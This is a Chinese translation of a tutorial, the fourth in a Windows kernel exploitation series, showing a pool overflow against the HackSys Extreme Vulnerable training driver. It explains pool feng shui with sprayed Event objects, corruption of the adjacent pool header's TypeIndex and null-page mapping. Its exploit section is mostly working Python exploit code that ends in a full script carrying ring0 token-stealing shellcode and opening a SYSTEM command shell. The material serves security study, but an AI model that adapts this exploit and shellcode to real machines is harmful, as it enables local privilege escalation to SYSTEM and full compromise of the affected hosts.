Windows 内核 利用教程 4 池风水 -> 池溢出

前言

这一系列文章源于作者学习HackSystem开设课程--windows 内核利用训练课程的学习笔记，到目前为止作者已发布4篇：

1.环境搭建
2.栈溢出
3.任意内存覆盖
4.池溢出

概要

我们已经在上一章探讨了任意内存覆盖漏洞,在本章我们讨论另一个漏洞，池溢出。简单来说，就是池缓冲区的越界。这部分可能会比较难，我们将深入探讨如何通过修改池，从而控制应用程序流，确保每次都可靠地指向我们的shellcode地址。所以花点时间好好理解我之前文章中的概念，之后再来尝试利用本文中的漏洞。

再次感谢hacksysteam的驱动程序。

池风水

在我们深入探讨池溢出这个主题前, 我们需要先了解下池的基本概念, 如何根据需要操纵它。 Tarjei Mandt写了一篇很好的关于这个主题的文章,强烈建议在继续阅读本文前先浏览Tarjei Mandt 的文章，因为你需要对池概念有一个扎实的理解。

内核池类似于Windows 中的堆, 因为它的作用也是用来动态分配内存。 就像堆喷修改正常应用程序的堆一样，我们需要在内核领域找到一种办法来修改内存池，以便在内存区域精确地调用我们的shellcode。 理解内存分配器的概念以及如何影响池分配和释放机制相当重要。

至于我们的 HEVD 驱动, 有漏洞的用户缓冲区被分配在非分页池，所以我们需要找到一种方法来修改非分页池。 Windows 提供了一种Event对象, 该对象存储在非分页池中，可以使用CreateEvent API 来创建：

HANDLE WINAPI CreateEvent(
  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
  _In_     BOOL                  bManualReset,
  _In_     BOOL                  bInitialState,
  _In_opt_ LPCTSTR               lpName
);

在这里我们需要用这个API创建两个足够大的Event对象数组，然后通过使用CloseHandle API 释放某些Event 对象，从而在分配的池块中造成空隙，经合并形成更大的空闲块:

BOOL WINAPI CloseHandle(
  _In_ HANDLE hObject
);

在这些空闲块中，我们需要将有漏洞的用户缓冲区插进去，以便每次准确地覆盖正确的内存位置。因为我们会破坏Event对象的相邻头部，以便跳转到包含shellcode的地址。下面用一个粗略的图表来展示下我们正要做的工作:

在这之后，我们会把指针指向shellcode，这样就可以通过操纵损坏的池头部来调用它。 我们伪造一个OBJECT_TYPE头，覆盖指向OBJECT_TYPE_INITIALIZER中的一个过程的指针。

分析

为了便于分析漏洞, 先看下PoolOverflow.c 文件:

__try {
        DbgPrint("[+] Allocating Pool chunk\n");
        // 分配池块
        KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
                                             (SIZE_T)POOL_BUFFER_SIZE,
                                             (ULONG)POOL_TAG);
        if (!KernelBuffer) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
        }
        // 验证缓冲区是否驻留在用户模式下
        ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

#ifdef SECURE

        // 安全注意: 因为开发者传递的size大小 等同于  RtlCopyMemory()/memcpy()分配的池块大小，所以是安全的，因此没有溢出。
        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);

#else
        DbgPrint("[+] Triggering Pool Overflow\n");
        // 漏洞注意：这是一个基于池的溢出
        // 因为没有检查开发者传递的size大小 是否大于或者等于  RtlCopyMemory()/memcpy()分配的池块大小，所以是安全的，因此没有溢出

        RtlCopyMemory(KernelBuffer, UserBuffer, Size);

似乎看起来有点复杂，但是这里的漏洞很明显，在最后一行开发人员直接传递值而没有验证大小，这导致了一个基于池的溢出漏洞。

我们将按照上一篇文章中的描述找到这个漏洞的IOCTL号：

hex((0x00000022 << 16) | (0x00000000 << 14) | (0x803 << 2) | 0x00000003)

计算得出 IOCTL 为 0x22200f。

用IDA分析一下驱动中的 TriggerPoolOverflow 函数：

我们用标签“Hack”指代有漏洞的缓冲区标记，长度为0x1f8（504）。由于现在有足够的关于漏洞的信息，让我们直接跳到有趣的部分，利用它。

利用

让我们从基本的框架开始, IOCTL 为 0x22200f。

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)

    buf = "A"*100
    bufLength = len(buf)

    kernel32.DeviceIoControl(hevDevice, 0x22200f, buf, bufLength, None, 0, byref(c_ulong()), None)

if __name__ == "__main__":
    main()

我们正在触发池溢出IOCTL，可以看到标签“Hack”，大小为0x1f8（504），尝试下赋给UserBuffer 0x1f8个字节的大小。

我们现在不应该破坏相邻的内存块，因为现在UserBuffer的值为边界值，来分析一下池：

可以看到用户缓冲区被完美地分配了，结束地址为下一个池块起始地址：

溢出会是灾难性的，并且将直接导致系统蓝屏崩溃，破坏了相邻的池块头部。

在这里很有趣的一件事是，我们如何能够通过溢出控制相邻的头部。我们利用的这个漏洞可以以修改池的方式来使得池不再随机化。那么我此前讨论的 CreateEvent API 可以胜任这个工作，它的大小为0x40个字节，正好可以匹配池的大小0x200个字节。

我们会喷射大量Event对象，把它们的句柄存储在数组中，看下如何影响我们的池：

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    ntdll = windll.ntdll

    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle."
        sys.exit(0)

    buf = "A"*504
    buf_ad = id(buf) + 20

    spray_event1 = spray_event2 = []

    for i in xrange(10000):
        spray_event1.append(kernel32.CreateEventA(None, False, False, None))
    for i in xrange(5000):
        spray_event2.append(kernel32.CreateEventA(None, False, False, None))

    kernel32.DeviceIoControl(hevDevice, 0x22200f, buf_ad, len(buf), None, 0, byref(c_ulong()), None)

if __name__ == "__main__":
    main()

我们的Event对象被喷射到非分页池中，现在我们需要在这些内存块创造一些空隙，然后把我们有漏洞的Hack缓冲区重新分配到这些空隙中。在重新分配有漏洞的缓冲区后，我们需要破坏相邻的池头部，以指向我们的shellcode地址。Event对象的大小为0x40个字节（0x38+0x8），包括池头部。

来分析一下头部：

由于Event对象被喷射到非分页池中，所以我们可以将这些值加到缓冲区末尾，来实现利用。但是，简单这样做是行不通的，我们来研究下头部的数据结构，再稍作修改：

我们感兴趣的部分是TypeIndex ，它实际上是指针数组中的偏移量大小，它定义了Windows所支持的每个对象的OBJECT_TYPE，来分析一下：

这看起来可能有点复杂，但我已经标记出了重要的部分：

• 第一个指针是 00000000，在Windows 7下非常重要（下面解释）；
• 下一个突出显示的指针是 85f05418， 这是从0xc开始的偏移量；
• 分析到这，可以看出这是Event对象类型；
• 现在最有趣的是偏移量0x28 处的TypeInfo成员：
  • 这个成员的最后部分有一些程序调用，我们可以从提供的程序中挑选以供己用，在这选择0x038处的 CloseProcedure
  • CloseProcedure 的偏移量为 0x28 + 0x38 = 0x60
  • 我们会覆盖0x60处的这个指针，让它指向我们的shellcode地址，然后调用CloseProcedure方法，从而最终执行我们的shellcode。

我们的目标是把TypeIndex的偏移量从0xc改为0x0，因为第一个指针是空指针，在Windows 7 中有一个漏洞，可以调用 NtAllocateVirtualMemory来映射到Null页面：

NTSTATUS ZwAllocateVirtualMemory(
  _In_    HANDLE    ProcessHandle,
  _Inout_ PVOID     *BaseAddress,
  _In_    ULONG_PTR ZeroBits,
  _Inout_ PSIZE_T   RegionSize,
  _In_    ULONG     AllocationType,
  _In_    ULONG     Protect
);

然后调用WriteProcessMemory 覆盖0x60处的指针，指向shellcode地址:

BOOL WINAPI WriteProcessMemory(
  _In_  HANDLE  hProcess,
  _In_  LPVOID  lpBaseAddress,
  _In_  LPCVOID lpBuffer,
  _In_  SIZE_T  nSize,
  _Out_ SIZE_T  *lpNumberOfBytesWritten
);

把所有的内容整合一下，python脚本大体如下：

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    ntdll = windll.ntdll

    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle."
        sys.exit(0)

    ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_ulong(0x100)), 0x3000, 0x40)

    shellcode = "\x90" * 8
    shellcode_address = id(shellcode) + 20

    kernel32.WriteProcessMemory(0xFFFFFFFF, 0x60, byref(c_void_p(shellcode_address)), 0x4, byref(c_ulong()))

    buf = "A" * 504
    buf += struct.pack("L", 0x04080040)
    buf += struct.pack("L", 0xEE657645)
    buf += struct.pack("L", 0x00000000)
    buf += struct.pack("L", 0x00000040)
    buf += struct.pack("L", 0x00000000)
    buf += struct.pack("L", 0x00000000)
    buf += struct.pack("L", 0x00000001)
    buf += struct.pack("L", 0x00000001)
    buf += struct.pack("L", 0x00000000)
    buf += struct.pack("L", 0x00080000)
    buf_ad = id(buf) + 20

    spray_event1 = spray_event2 = []

    for i in xrange(10000):
        spray_event1.append(kernel32.CreateEventA(None, False, False, None))
    for i in xrange(5000):
        spray_event2.append(kernel32.CreateEventA(None, False, False, None))

    for i in xrange(0, len(spray_event2), 16):
        for j in xrange(0, 8, 1):
            kernel32.CloseHandle(spray_event2[i+j])

    kernel32.DeviceIoControl(hevDevice, 0x22200f, buf_ad, len(buf), None, 0, byref(c_ulong()), None)

if __name__ == "__main__":
    main()

有漏洞的缓冲区现在位于我们创建的Event对象之间的空隙中。

TypeIndex由 0xc 修改为 0x0

shellcode地址布置完成！

现在，只需要调用 Closeprocedure，在 虚拟内存中 加载shellcode， shellcode应该完美运行。最终版本的exploit如下：

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    ntdll = windll.ntdll

    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle."
        sys.exit(0)

    #定义 ring0级的shellcode ， 加载.
    shellcode = bytearray(
        "\x90\x90\x90\x90"              # NOP Sled
        "\x60"                          # pushad
        "\x64\xA1\x24\x01\x00\x00"      # mov eax, fs:[KTHREAD_OFFSET]
        "\x8B\x40\x50"                  # mov eax, [eax + EPROCESS_OFFSET]
        "\x89\xC1"                      # mov ecx, eax (Current _EPROCESS structure)
        "\x8B\x98\xF8\x00\x00\x00"      # mov ebx, [eax + TOKEN_OFFSET]
        "\xBA\x04\x00\x00\x00"          # mov edx, 4 (SYSTEM PID)
        "\x8B\x80\xB8\x00\x00\x00"      # mov eax, [eax + FLINK_OFFSET]
        "\x2D\xB8\x00\x00\x00"          # sub eax, FLINK_OFFSET
        "\x39\x90\xB4\x00\x00\x00"      # cmp [eax + PID_OFFSET], edx
        "\x75\xED"                      # jnz
        "\x8B\x90\xF8\x00\x00\x00"      # mov edx, [eax + TOKEN_OFFSET]
        "\x89\x91\xF8\x00\x00\x00"      # mov [ecx + TOKEN_OFFSET], edx
        "\x61"                          # popad
        "\xC2\x10\x00"                  # ret 16
    )

    ptr = kernel32.VirtualAlloc(c_int(0), c_int(len(shellcode)), c_int(0x3000),c_int(0x40))
    buff = (c_char * len(shellcode)).from_buffer(shellcode)
    kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode)))

    print "[+] Pointer for ring0 shellcode: {0}".format(hex(ptr))

    #分配Null页面，虚拟内存地址: 0x0000 - 0x1000
    #基址为0x1
    #分配0x100（256）个字节大小的内存块

    print "\n[+] Allocating/Mapping NULL page..."

    null_status = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_ulong(0x100)), 0x3000, 0x40)
    if null_status != 0x0:
        print "\t[+] Failed to allocate NULL page..."
        sys.exit(-1)
    else:
        print "\t[+] NULL Page Allocated"

    #将 ring0级 指针写入Null 页面，为了调用CloseProcedure @ 0x60

    print "\n[+] Writing ring0 pointer {0} in location 0x60...".format(hex(ptr))
    if not kernel32.WriteProcessMemory(0xFFFFFFFF, 0x60, byref(c_void_p(ptr)), 0x4, byref(c_ulong())):
        print "\t[+] Failed to write at 0x60 location"
        sys.exit(-1)

    #定义用户缓冲区
    #长度大小 0x1f8 (504), 破坏相邻池头部指向Null 页面

    buf = "A" * 504
    buf += struct.pack("L", 0x04080040)
    buf += struct.pack("L", 0xEE657645)
    buf += struct.pack("L", 0x00000000)
    buf += struct.pack("L", 0x00000040)
    buf += struct.pack("L", 0x00000000)
    buf += struct.pack("L", 0x00000000)
    buf += struct.pack("L", 0x00000001)
    buf += struct.pack("L", 0x00000001)
    buf += struct.pack("L", 0x00000000)
    buf += struct.pack("L", 0x00080000)

    buf_ad = id(buf) + 20

    #将Event对象喷射到非分页池，创造两个足够大的（10000和 5000）的块。

    spray_event1 = spray_event2 = []

    print "\n[+] Spraying Non-Paged Pool with Event Objects..."

    for i in xrange(10000):
        spray_event1.append(kernel32.CreateEventA(None, False, False, None))
    print "\t[+] Sprayed 10000 objects."

    for i in xrange(5000):
        spray_event2.append(kernel32.CreateEventA(None, False, False, None))
    print "\t[+] Sprayed 5000 objects."

    #在喷射区域造成空洞，以便将用户缓冲区分配到该地址

    print "\n[+] Creating holes in the sprayed region..."

    for i in xrange(0, len(spray_event2), 16):
        for j in xrange(0, 8, 1):
            kernel32.CloseHandle(spray_event2[i+j])

    kernel32.DeviceIoControl(hevDevice, 0x22200f, buf_ad, len(buf), None, 0, byref(c_ulong()), None)

    #通过释放Event 对象 关闭句柄，最终执行shellcode

    print "\n[+] Calling the CloseProcedure..."

    for i in xrange(0, len(spray_event1)):
        kernel32.CloseHandle(spray_event1[i])

    for i in xrange(8, len(spray_event2), 16):
        for j in xrange(0, 8, 1):
            kernel32.CloseHandle(spray_event2[i + j])

    print "\n[+] nt authority\system shell incoming"
    Popen("start cmd", shell=True)

if __name__ == "__main__":
    main()

得到系统管理员权限：

原文地址：https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/

本文由看雪翻译小组 fyb波编译

[培训]《安卓高级研修班(网课)》月薪三万计划，掌 握调试、分析还原ollvm、vmp的方法，定制art虚拟机自动化脱壳的方法